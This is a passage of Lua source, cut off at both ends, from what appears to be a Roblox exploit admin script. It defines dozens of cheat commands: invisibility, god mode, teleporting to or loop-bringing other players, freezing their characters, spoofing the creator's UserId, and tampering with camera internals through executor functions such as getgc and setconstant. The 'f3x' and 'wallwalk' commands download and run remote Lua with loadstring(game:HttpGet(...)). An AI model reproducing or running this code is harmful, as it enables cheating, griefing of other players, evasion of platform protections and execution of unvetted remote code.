workspace.CurrentCamera.CFrame.Position.X,workspace.CurrentCamera.CFrame.Position.Y,workspace.CurrentCamera.CFrame.Position.Z local Format, Round = string.format, math.round notify("Current Position", Format("%s, %s, %s", Round(X), Round(Y), Round(Z))) end end) addcmd('copyfreecamposition',{'copyfcpos'},function(args, speaker) if fcRunning then local X,Y,Z = workspace.CurrentCamera.CFrame.Position.X,workspace.CurrentCamera.CFrame.Position.Y,workspace.CurrentCamera.CFrame.Position.Z local Format, Round = string.format, math.round toClipboard(Format("%s, %s, %s", Round(X), Round(Y), Round(Z))) end end) addcmd('gotocamera',{'gotocam','tocam'},function(args, speaker) getRoot(speaker.Character).CFrame = workspace.Camera.CFrame end) addcmd('tweengotocamera',{'tweengotocam','tgotocam','ttocam'},function(args, speaker) TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = workspace.Camera.CFrame}):Play() end) addcmd('fov',{},function(args, speaker) local fov = args[1] or 70 if isNumber(fov) then workspace.CurrentCamera.FieldOfView = fov end end) local preMaxZoom = Players.LocalPlayer.CameraMaxZoomDistance local preMinZoom = Players.LocalPlayer.CameraMinZoomDistance addcmd('lookat',{},function(args, speaker) if speaker.CameraMaxZoomDistance ~= 0.5 then preMaxZoom = speaker.CameraMaxZoomDistance preMinZoom = speaker.CameraMinZoomDistance end speaker.CameraMaxZoomDistance = 0.5 speaker.CameraMinZoomDistance = 0.5 wait() local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local target = Players[v].Character if target and target:FindFirstChild('Head') then workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.p, target.Head.CFrame.p) wait(0.1) end end speaker.CameraMaxZoomDistance = preMaxZoom speaker.CameraMinZoomDistance = preMinZoom end) addcmd('fixcam',{'restorecam'},function(args, speaker) StopFreecam() execCmd('unview') workspace.CurrentCamera:remove() wait(.1) repeat wait() until speaker.Character ~= nil workspace.CurrentCamera.CameraSubject = speaker.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" speaker.CameraMinZoomDistance = 0.5 speaker.CameraMaxZoomDistance = 400 speaker.CameraMode = "Classic" speaker.Character.Head.Anchored = false end) addcmd("enableshiftlock", {"enablesl", "shiftlock"}, function(args, speaker) local function enableShiftlock() speaker.DevEnableMouseLock = true end speaker:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(enableShiftlock) enableShiftlock() notify("Shiftlock", "Shift lock should now be available") end) addcmd('firstp',{},function(args, speaker) speaker.CameraMode = "LockFirstPerson" end) addcmd('thirdp',{},function(args, speaker) speaker.CameraMode = "Classic" end) addcmd('noclipcam', {'nccam'}, function(args, speaker) local sc = (debug and debug.setconstant) or setconstant local gc = (debug and debug.getconstants) or getconstants if not sc or not getgc or not gc then return notify('Incompatible Exploit', 'Your exploit does not support this command (missing setconstant or getconstants or getgc)') end local pop = speaker.PlayerScripts.PlayerModule.CameraModule.ZoomController.Popper for _, v in pairs(getgc()) do if type(v) == 'function' and getfenv(v).script == pop then for i, v1 in pairs(gc(v)) do if tonumber(v1) == .25 then sc(v, i, 0) elseif tonumber(v1) == 0 then sc(v, i, .25) end end end end end) addcmd('maxzoom',{},function(args, speaker) speaker.CameraMaxZoomDistance = args[1] end) addcmd('minzoom',{},function(args, speaker) speaker.CameraMinZoomDistance = args[1] end) addcmd('camdistance',{},function(args, speaker) local camMax = speaker.CameraMaxZoomDistance local camMin = speaker.CameraMinZoomDistance if camMax < tonumber(args[1]) then camMax = args[1] end speaker.CameraMaxZoomDistance = args[1] speaker.CameraMinZoomDistance = args[1] wait() speaker.CameraMaxZoomDistance = camMax speaker.CameraMinZoomDistance = camMin end) addcmd('unlockws',{'unlockworkspace'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") then v.Locked = false end end end) addcmd('lockws',{'lockworkspace'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") then v.Locked = true end end end) addcmd('delete',{'remove'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() then v:Destroy() end end notify('Item(s) Deleted','Deleted ' ..getstring(1)) end) addcmd('deleteclass',{'removeclass','deleteclassname','removeclassname','dc'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.ClassName:lower() == getstring(1):lower() then v:Destroy() end end notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1)) end) addcmd('chardelete',{'charremove','cd'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v.Name:lower() == getstring(1):lower() then v:Destroy() end end notify('Item(s) Deleted','Deleted ' ..getstring(1)) end) addcmd('chardeleteclass',{'charremoveclass','chardeleteclassname','charremoveclassname','cdc'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v.ClassName:lower() == getstring(1):lower() then v:Destroy() end end notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1)) end) addcmd('deletevelocity',{'dv','removevelocity','removeforces'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA("BodyVelocity") or v:IsA("BodyGyro") or v:IsA("RocketPropulsion") or v:IsA("BodyThrust") or v:IsA("BodyAngularVelocity") or v:IsA("AngularVelocity") or v:IsA("BodyForce") or v:IsA("VectorForce") or v:IsA("LineForce") then v:Destroy() end end end) addcmd('deleteinvisparts',{'deleteinvisibleparts','dip'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") and v.Transparency == 1 and v.CanCollide then v:Destroy() end end end) local shownParts = {} addcmd('invisibleparts',{'invisparts'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") and v.Transparency == 1 then if not table.find(shownParts,v) then table.insert(shownParts,v) end v.Transparency = 0 end end end) addcmd('uninvisibleparts',{'uninvisparts'},function(args, speaker) for i,v in pairs(shownParts) do v.Transparency = 1 end shownParts = {} end) addcmd('btools',{},function(args, speaker) for i = 1, 4 do local Tool = Instance.new("HopperBin") Tool.BinType = i Tool.Name = randomString() Tool.Parent = speaker:FindFirstChildOfClass("Backpack") end end) addcmd('f3x',{'fex'},function(args, speaker) loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/refs/heads/main/f3x.lua"))() end) addcmd('partpath',{'partname'},function(args, speaker) selectPart() end) addcmd('antiafk',{'antiidle'},function(args, speaker) local GC = getconnections or get_signal_cons if GC then for i,v in pairs(GC(Players.LocalPlayer.Idled)) do if v["Disable"] then v["Disable"](v) elseif v["Disconnect"] then v["Disconnect"](v) end end else local VirtualUser = cloneref(game:GetService("VirtualUser")) Players.LocalPlayer.Idled:Connect(function() VirtualUser:CaptureController() VirtualUser:ClickButton2(Vector2.new()) end) end if not (args[1] and tostring(args[1]) == 'nonotify') then notify('Anti Idle','Anti idle is enabled') end end) addcmd("datalimit", {}, function(args, speaker) local kbps = tonumber(args[1]) if kbps then local NetworkClient = cloneref(game:GetService("NetworkClient")) NetworkClient:SetOutgoingKBPSLimit(kbps) end end) addcmd("replicationlag", {"backtrack"}, function(args, speaker) if tonumber(args[1]) then settings():GetService("NetworkSettings").IncomingReplicationLag = args[1] end end) addcmd("noprompts", {"nopurchaseprompts"}, function(args, speaker) COREGUI.PurchasePromptApp.Enabled = false end) addcmd("showprompts", {"showpurchaseprompts"}, function(args, speaker) COREGUI.PurchasePromptApp.Enabled = true end) promptNewRig = function(speaker, rig) local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") if humanoid then AvatarEditorService:PromptSaveAvatar(humanoid.HumanoidDescription, Enum.HumanoidRigType[rig]) local result = AvatarEditorService.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then execCmd("reset") end end end addcmd("promptr6", {}, function(args, speaker) promptNewRig(speaker, "R6") end) addcmd("promptr15", {}, function(args, speaker) promptNewRig(speaker, "R15") end) addcmd("wallwalk", {"walkonwalls"}, function(args, speaker) loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/wallwalker.lua"))() end) addcmd('age',{},function(args, speaker) local players = getPlayer(args[1], speaker) local ages = {} for i,v in pairs(players) do local p = Players[v] table.insert(ages, p.Name.."'s age is: "..p.AccountAge) end notify('Account Age',table.concat(ages, ',\n')) end) addcmd('chatage',{},function(args, speaker) local players = getPlayer(args[1], speaker) local ages = {} for i,v in pairs(players) do local p = Players[v] table.insert(ages, p.Name.."'s age is: "..p.AccountAge) end local chatString = table.concat(ages, ', ') chatMessage(chatString) end) addcmd('joindate',{'jd'},function(args, speaker) local players = getPlayer(args[1], speaker) local dates = {} for i,v in pairs(players) do local p = Players[v] local secondsOld = p.AccountAge * 24 * 60 * 60 local now = os.time() local dateJoined = p.Name .. " joined: " .. os.date("%m/%d/%y", now - secondsOld) table.insert(dates, dateJoined) end notify('Join Date (Month/Day/Year)',table.concat(dates, ',\n')) end) addcmd('chatjoindate',{'cjd'},function(args, speaker) local players = getPlayer(args[1], speaker) local dates = {} for i,v in pairs(players) do local p = Players[v] local secondsOld = p.AccountAge * 24 * 60 * 60 local now = os.time() local dateJoined = p.Name .. " joined: " .. os.date("%m/%d/%y", now - secondsOld) table.insert(dates, dateJoined) end local chatString = table.concat(dates, ', ') chatMessage(chatString) end) addcmd('copyname',{'copyuser'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local name = tostring(Players[v].Name) toClipboard(name) end end) addcmd('userid',{'id'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local id = tostring(Players[v].UserId) notify('User ID',id) end end) addcmd("copyplaceid", {"placeid"}, function(args, speaker) toClipboard(PlaceId) end) addcmd("copygameid", {"gameid"}, function(args, speaker) toClipboard(game.GameId) end) addcmd('copyid',{'copyuserid'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local id = tostring(Players[v].UserId) toClipboard(id) end end) addcmd('creatorid',{'creator'},function(args, speaker) if game.CreatorType == Enum.CreatorType.User then notify('Creator ID',game.CreatorId) elseif game.CreatorType == Enum.CreatorType.Group then local OwnerID = GroupService:GetGroupInfoAsync(game.CreatorId).Owner.Id speaker.UserId = OwnerID notify('Creator ID',OwnerID) end end) addcmd('copycreatorid',{'copycreator'},function(args, speaker) if game.CreatorType == Enum.CreatorType.User then toClipboard(game.CreatorId) notify('Copied ID','Copied creator ID to clipboard') elseif game.CreatorType == Enum.CreatorType.Group then local OwnerID = GroupService:GetGroupInfoAsync(game.CreatorId).Owner.Id toClipboard(OwnerID) notify('Copied ID','Copied creator ID to clipboard') end end) addcmd('setcreatorid',{'setcreator'},function(args, speaker) if game.CreatorType == Enum.CreatorType.User then speaker.UserId = game.CreatorId notify('Set ID','Set UserId to '..game.CreatorId) elseif game.CreatorType == Enum.CreatorType.Group then local OwnerID = GroupService:GetGroupInfoAsync(game.CreatorId).Owner.Id speaker.UserId = OwnerID notify('Set ID','Set UserId to '..OwnerID) end end) addcmd('appearanceid',{'aid'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local aid = tostring(Players[v].CharacterAppearanceId) notify('Appearance ID',aid) end end) addcmd('copyappearanceid',{'caid'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local aid = tostring(Players[v].CharacterAppearanceId) toClipboard(aid) end end) addcmd('norender',{},function(args, speaker) RunService:Set3dRenderingEnabled(false) end) addcmd('render',{},function(args, speaker) RunService:Set3dRenderingEnabled(true) end) addcmd('2022materials',{'use2022materials'},function(args, speaker) if sethidden then sethidden(MaterialService, "Use2022Materials", true) else notify('Incompatible Exploit','Your exploit does not support this command (missing sethiddenproperty)') end end) addcmd('un2022materials',{'unuse2022materials'},function(args, speaker) if sethidden then sethidden(MaterialService, "Use2022Materials", false) else notify('Incompatible Exploit','Your exploit does not support this command (missing sethiddenproperty)') end end) addcmd('goto',{'to'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if Players[v].Character ~= nil then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(3,1,0) end end execCmd('breakvelocity') end) addcmd('tweengoto',{'tgoto','tto','tweento'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if Players[v].Character ~= nil then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(3,1,0)}):Play() end end execCmd('breakvelocity') end) addcmd('vehiclegoto',{'vgoto','vtp','vehicletp'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if Players[v].Character ~= nil then local seat = speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart local vehicleModel = seat:FindFirstAncestorWhichIsA("Model") vehicleModel:MoveTo(getRoot(Players[v].Character).Position) end end end) addcmd('pulsetp',{'ptp'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if Players[v].Character ~= nil then local startPos = getRoot(speaker.Character).CFrame local seconds = args[2] or 1 if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(3,1,0) wait(seconds) getRoot(speaker.Character).CFrame = startPos end end execCmd('breakvelocity') end) local vnoclipParts = {} addcmd('vehiclenoclip',{'vnoclip'},function(args, speaker) vnoclipParts = {} local seat = speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart local vehicleModel = seat.Parent repeat if vehicleModel.ClassName ~= "Model" then vehicleModel = vehicleModel.Parent end until vehicleModel.ClassName == "Model" wait(0.1) execCmd('noclip') for i,v in pairs(vehicleModel:GetDescendants()) do if v:IsA("BasePart") and v.CanCollide then table.insert(vnoclipParts,v) v.CanCollide = false end end end) addcmd("vehicleclip", {"vclip", "unvnoclip", "unvehiclenoclip"}, function(args, speaker) execCmd("clip") for i, v in pairs(vnoclipParts) do v.CanCollide = true end vnoclipParts = {} end) addcmd("togglevnoclip", {}, function(args, speaker) execCmd(Clip and "vnoclip" or "vclip") end) addcmd('clientbring',{'cbring'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if Players[v].Character ~= nil then if Players[v].Character:FindFirstChildOfClass('Humanoid') then Players[v].Character:FindFirstChildOfClass('Humanoid').Sit = false end wait() getRoot(Players[v].Character).CFrame = getRoot(speaker.Character).CFrame + Vector3.new(3,1,0) end end end) local bringT = {} addcmd('loopbring',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do task.spawn(function() if Players[v].Name ~= speaker.Name and not FindInTable(bringT, Players[v].Name) then table.insert(bringT, Players[v].Name) local plrName = Players[v].Name local pchar=Players[v].Character local distance = 3 if args[2] and isNumber(args[2]) then distance = args[2] end local lDelay = 0 if args[3] and isNumber(args[3]) then lDelay = args[3] end repeat for i,c in pairs(players) do if Players:FindFirstChild(v) then pchar = Players[v].Character if pchar~= nil and Players[v].Character ~= nil and getRoot(pchar) and speaker.Character ~= nil and getRoot(speaker.Character) then getRoot(pchar).CFrame = getRoot(speaker.Character).CFrame + Vector3.new(distance,1,0) end wait(lDelay) else for a,b in pairs(bringT) do if b == plrName then table.remove(bringT, a) end end end end until not FindInTable(bringT, plrName) end end) end end) addcmd('unloopbring',{'noloopbring'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do task.spawn(function() for a,b in pairs(bringT) do if b == Players[v].Name then table.remove(bringT, a) end end end) end end) local walkto = false local waypointwalkto = false addcmd('walkto',{'follow'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if Players[v].Character ~= nil then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end walkto = true repeat wait() speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(getRoot(Players[v].Character).Position) until Players[v].Character == nil or not getRoot(Players[v].Character) or walkto == false end end end) addcmd('pathfindwalkto',{'pathfindfollow'},function(args, speaker) walkto = false wait() local players = getPlayer(args[1], speaker) local hum = Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") local path = PathService:CreatePath() for i,v in pairs(players)do if Players[v].Character ~= nil then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end walkto = true repeat wait() local success, response = pcall(function() path:ComputeAsync(getRoot(speaker.Character).Position, getRoot(Players[v].Character).Position) local waypoints = path:GetWaypoints() local distance for waypointIndex, waypoint in pairs(waypoints) do local waypointPosition = waypoint.Position hum:MoveTo(waypointPosition) repeat distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude wait() until distance <= 5 end end) if not success then speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(getRoot(Players[v].Character).Position) end until Players[v].Character == nil or not getRoot(Players[v].Character) or walkto == false end end end) addcmd('pathfindwalktowaypoint',{'pathfindwalktowp'},function(args, speaker) waypointwalkto = false wait() local WPName = tostring(getstring(1)) local hum = Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") local path = PathService:CreatePath() if speaker.Character then for i,_ in pairs(WayPoints) do if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end local TrueCoords = Vector3.new(WayPoints[i].COORD[1], WayPoints[i].COORD[2], WayPoints[i].COORD[3]) waypointwalkto = true repeat wait() local success, response = pcall(function() path:ComputeAsync(getRoot(speaker.Character).Position, TrueCoords) local waypoints = path:GetWaypoints() local distance for waypointIndex, waypoint in pairs(waypoints) do local waypointPosition = waypoint.Position hum:MoveTo(waypointPosition) repeat distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude wait() until distance <= 5 end end) if not success then speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(TrueCoords) end until not speaker.Character or waypointwalkto == false end end for i,_ in pairs(pWayPoints) do if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end local TrueCoords = pWayPoints[i].COORD[1].Position waypointwalkto = true repeat wait() local success, response = pcall(function() path:ComputeAsync(getRoot(speaker.Character).Position, TrueCoords) local waypoints = path:GetWaypoints() local distance for waypointIndex, waypoint in pairs(waypoints) do local waypointPosition = waypoint.Position hum:MoveTo(waypointPosition) repeat distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude wait() until distance <= 5 end end) if not success then speaker.Character:FindFirstChildOfClass('Humanoid'):MoveTo(TrueCoords) end until not speaker.Character or waypointwalkto == false end end end end) addcmd('unwalkto',{'nowalkto','unfollow','nofollow'},function(args, speaker) walkto = false waypointwalkto = false end) addcmd("orbit", {}, function(args, speaker) execCmd("unorbit nonotify") local target = Players:FindFirstChild(getPlayer(args[1], speaker)[1]) local root = getRoot(speaker.Character) local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") if target and target.Character and getRoot(target.Character) and root and humanoid then local rotation = 0 local speed = tonumber(args[2]) or 0.2 local distance = tonumber(args[3]) or 6 orbit1 = RunService.Heartbeat:Connect(function() pcall(function() rotation = rotation + speed root.CFrame = CFrame.new(getRoot(target.Character).Position) * CFrame.Angles(0, math.rad(rotation), 0) * CFrame.new(distance, 0, 0) end) end) orbit2 = RunService.RenderStepped:Connect(function() pcall(function() root.CFrame = CFrame.new(root.Position, getRoot(target.Character).Position) end) end) orbit3 = humanoid.Died:Connect(function() execCmd("unorbit") end) orbit4 = humanoid.Seated:Connect(function(value) if value then execCmd("unorbit") end end) notify("Orbit", "Started orbiting " .. formatUsername(target)) end end) addcmd("unorbit", {}, function(args, speaker) if orbit1 then orbit1:Disconnect() end if orbit2 then orbit2:Disconnect() end if orbit3 then orbit3:Disconnect() end if orbit4 then orbit4:Disconnect() end if args[1] ~= "nonotify" then notify("Orbit", "Stopped orbiting player") end end) addcmd('freeze',{'fr'},function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i,v in pairs(players) do task.spawn(function() for i, x in next, Players[v].Character:GetDescendants() do if x:IsA("BasePart") and not x.Anchored then x.Anchored = true end end end) end end end) addcmd('thaw',{'unfreeze','unfr'},function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i,v in pairs(players) do task.spawn(function() for i, x in next, Players[v].Character:GetDescendants() do if x.Name ~= floatName and x:IsA("BasePart") and x.Anchored then x.Anchored = false end end end) end end end) oofing = false addcmd('loopoof',{},function(args, speaker) oofing = true repeat wait(0.1) for i,v in pairs(Players:GetPlayers()) do if v.Character ~= nil and v.Character:FindFirstChild'Head' then for _,x in pairs(v.Character.Head:GetChildren()) do if x:IsA'Sound' then x.Playing = true end end end end until oofing == false end) addcmd('unloopoof',{},function(args, speaker) oofing = false end) local notifiedRespectFiltering = false addcmd('muteboombox',{},function(args, speaker) if not notifiedRespectFiltering and SoundService.RespectFilteringEnabled then notifiedRespectFiltering = true notify('RespectFilteringEnabled','RespectFilteringEnabled is set to true (the command will still work but may only be clientsided)') end local players = getPlayer(args[1], speaker) if players ~= nil then for i,v in pairs(players) do task.spawn(function() for i, x in next, Players[v].Character:GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end for i, x in next, Players[v]:FindFirstChildOfClass("Backpack"):GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end end) end end end) addcmd('unmuteboombox',{},function(args, speaker) if not notifiedRespectFiltering and SoundService.RespectFilteringEnabled then notifiedRespectFiltering = true notify('RespectFilteringEnabled','RespectFilteringEnabled is set to true (the command will still work but may only be clientsided)') end local players = getPlayer(args[1], speaker) if players ~= nil then for i,v in pairs(players) do task.spawn(function() for i, x in next, Players[v].Character:GetDescendants() do if x:IsA("Sound") and x.Playing == false then x.Playing = true end end end) end end end) addcmd("reset", {}, function(args, speaker) local humanoid = speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid") if replicatesignal then replicatesignal(speaker.Kill) elseif humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Dead) else speaker.Character:BreakJoints() end end) addcmd('freezeanims',{},function(args, speaker) local Humanoid = speaker.Character:FindFirstChildOfClass("Humanoid") or speaker.Character:FindFirstChildOfClass("AnimationController") local ActiveTracks = Humanoid:GetPlayingAnimationTracks() for _, v in pairs(ActiveTracks) do v:AdjustSpeed(0) end end) addcmd('unfreezeanims',{},function(args, speaker) local Humanoid = speaker.Character:FindFirstChildOfClass("Humanoid") or speaker.Character:FindFirstChildOfClass("AnimationController") local ActiveTracks = Humanoid:GetPlayingAnimationTracks() for _, v in pairs(ActiveTracks) do v:AdjustSpeed(1) end end) addcmd("respawn", {}, function(args, speaker) respawn(speaker) end) addcmd("refresh", {"re"}, function(args, speaker) refresh(speaker) end) addcmd("god", {}, function(args, speaker) permadeath(speaker) local Cam = workspace.CurrentCamera local Char, Pos = speaker.Character, Cam.CFrame local Human = Char and Char:FindFirstChildWhichIsA("Humanoid") local nHuman = Human:Clone() nHuman.Parent = char speaker.Character = nil nHuman:SetStateEnabled(15, false) nHuman:SetStateEnabled(1, false) nHuman:SetStateEnabled(0, false) nHuman.BreakJointsOnDeath = true Human:Destroy() speaker.Character = char Cam.CameraSubject = nHuman Cam.CFrame = task.wait() and pos nHuman.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None local Script = Char:FindFirstChild("Animate") if Script then Script.Disabled = true task.wait() Script.Disabled = false end nHuman.Health = nHuman.MaxHealth end) invisRunning = false addcmd('invisible',{'invis'},function(args, speaker) if invisRunning then return end invisRunning = true -- Full credit to AmokahFox @V3rmillion local Player = speaker repeat wait(.1) until Player.Character local Character = Player.Character Character.Archivable = true local IsInvis = false local IsRunning = true local InvisibleCharacter = Character:Clone() InvisibleCharacter.Parent = Lighting local Void = workspace.FallenPartsDestroyHeight InvisibleCharacter.Name = "" local CF local invisFix = RunService.Stepped:Connect(function() pcall(function() local IsInteger if tostring(Void):find'-' then IsInteger = true else IsInteger = false end local Pos = Player.Character.HumanoidRootPart.Position local Pos_String = tostring(Pos) local Pos_Seperate = Pos_String:split(', ') local X = tonumber(Pos_Seperate[1]) local Y = tonumber(Pos_Seperate[2]) local Z = tonumber(Pos_Seperate[3]) if IsInteger == true then if Y <= Void then Respawn() end elseif IsInteger == false then if Y >= Void then Respawn() end end end) end) for i,v in pairs(InvisibleCharacter:GetDescendants())do if v:IsA("BasePart") then if v.Name == "HumanoidRootPart" then v.Transparency = 1 else v.Transparency = .5 end end end function Respawn() IsRunning = false if IsInvis == true then pcall(function() Player.Character = Character wait() Character.Parent = workspace Character:FindFirstChildWhichIsA'Humanoid':Destroy() IsInvis = false InvisibleCharacter.Parent = nil invisRunning = false end) elseif IsInvis == false then pcall(function() Player.Character = Character wait() Character.Parent = workspace Character:FindFirstChildWhichIsA'Humanoid':Destroy() TurnVisible() end) end end local invisDied invisDied = InvisibleCharacter:FindFirstChildOfClass'Humanoid'.Died:Connect(function() Respawn() invisDied:Disconnect() end) if IsInvis == true then return end IsInvis = true CF = workspace.CurrentCamera.CFrame local CF_1 = Player.Character.HumanoidRootPart.CFrame Character:MoveTo(Vector3.new(0,math.pi*1000000,0)) workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable wait(.2) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom InvisibleCharacter = InvisibleCharacter Character.Parent = Lighting InvisibleCharacter.Parent = workspace InvisibleCharacter.HumanoidRootPart.CFrame = CF_1 Player.Character = InvisibleCharacter execCmd('fixcam') Player.Character.Animate.Disabled = true Player.Character.Animate.Disabled = false function TurnVisible() if IsInvis == false then return end invisFix:Disconnect() invisDied:Disconnect() CF = workspace.CurrentCamera.CFrame Character = Character local CF_1 = Player.Character.HumanoidRootPart.CFrame Character.HumanoidRootPart.CFrame = CF_1 InvisibleCharacter:Destroy() Player.Character = Character Character.Parent = workspace IsInvis = false Player.Character.Animate.Disabled = true Player.Character.Animate.Disabled = false invisDied = Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function() Respawn() invisDied:Disconnect() end) invisRunning = false end notify('Invisible','You now appear invisible to other players') end) addcmd("visible", {"vis","uninvisible"}, function(args, speaker) TurnVisible() end) addcmd("toggleinvis", {}, function(args, speaker) execCmd(invisRunning and "visible" or "invisible") end) addcmd('toolinvisible',{'toolinvis','tinvis'},function(args, speaker) local Char = Players.LocalPlayer.Character local touched = false local tpdback = false local box = Instance.new('Part') box.Anchored = true box.CanCollide = true box.Size = Vector3.new(10,1,10) box.Position = Vector3.new(0,10000,0) box.Parent = workspace local boxTouched = box.Touched:connect(function(part) if (part.Parent.Name == Players.LocalPlayer.Name) then if touched == false then touched = true local function apply() local no = Char.HumanoidRootPart:Clone() wait(.25) Char.HumanoidRootPart:Destroy() no.Parent = Char Char:MoveTo(loc) touched = false end if Char then apply() end end end end) repeat wait() until Char local cleanUp cleanUp = Players.LocalPlayer.CharacterAdded:connect(function(char) boxTouched:Disconnect() box:Destroy() cleanUp:Disconnect() end) loc = Char.HumanoidRootPart.Position Char:MoveTo(box.Position + Vector3.new(0,.5,0)) end) addcmd("strengthen", {}, function(args, speaker) for _, child in pairs(speaker.Character:GetDescendants()) do if child.ClassName == "Part" then if args[1] then child.CustomPhysicalProperties = PhysicalProperties.new(args[1], 0.3, 0.5) else child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5) end end end end) addcmd("weaken", {}, function(args, speaker) for _, child in pairs(speaker.Character:GetDescendants()) do if child.ClassName == "Part" then if args[1] then child.CustomPhysicalProperties = PhysicalProperties.new(-args[1], 0.3, 0.5) else child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5) end end end end) addcmd("unweaken", {"unstrengthen"}, function(args, speaker) for _, child in pairs(speaker.Character:GetDescendants()) do if child.ClassName == "Part" then child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5) end end end) addcmd("breakvelocity", {}, function(args, speaker) local BeenASecond, V3 = false, Vector3.new(0, 0, 0) delay(1, function() BeenASecond = true end) while not BeenASecond do for _, v in ipairs(speaker.Character:GetDescendants()) do if v:IsA("BasePart") then v.Velocity, v.RotVelocity = V3, V3 end end wait() end end) addcmd('jpower',{'jumppower','jp'},function(args, speaker) local jpower = args[1] or 50 if isNumber(jpower) then if speaker.Character:FindFirstChildOfClass('Humanoid').UseJumpPower then speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower = jpower else speaker.Character:FindFirstChildOfClass('Humanoid').JumpHeight = jpower end end end) addcmd("maxslopeangle", {"msa"}, function(args, speaker) local sangle = args[1] or 89 if isNumber(sangle) then speaker.Character:FindFirstChildWhichIsA("Humanoid").MaxSlopeAngle = sangle end end) addcmd("gravity", {"grav"}, function(args, speaker) local grav = args[1] or 196.2 if isNumber(grav) then workspace.Gravity = grav end end) addcmd("hipheight", {"hheight"}, function(args, 